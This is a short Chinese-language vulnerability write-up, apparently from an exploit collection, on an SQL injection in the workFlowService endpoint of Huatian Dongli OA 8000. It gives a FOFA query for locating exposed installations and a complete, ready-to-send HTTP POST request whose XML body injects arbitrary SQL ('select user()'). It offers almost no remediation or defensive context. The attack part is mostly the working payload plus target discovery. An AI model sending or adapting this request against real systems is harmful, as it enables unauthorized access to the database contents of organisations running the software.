# 华天动力OA 8000版 workFlowService SQL注入漏洞

## 漏洞描述

华天动力OA 8000版 workFlowService接口存在SQL注入漏洞，攻击者通过漏洞可获取数据库敏感信息

## 漏洞影响

```
华天动力OA 8000版 
```

## FOFA

```
app="华天动力-OA8000"
```

## 漏洞复现

产品页面

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/1628496676017-abce1043-e1a9-4142-9481-555f1bf0821c.png)

发送请求包验证漏洞

```php
POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
Host: 、
Accept-Encoding: identity
Content-Length: 103
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0

<buffalo-call> 
<method>getDataListForTree</method> 
<string>select user()</string> 
</buffalo-call>
```

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/1628496737082-cede14dc-71ae-4ec3-83da-e0707e4f8f4f.png)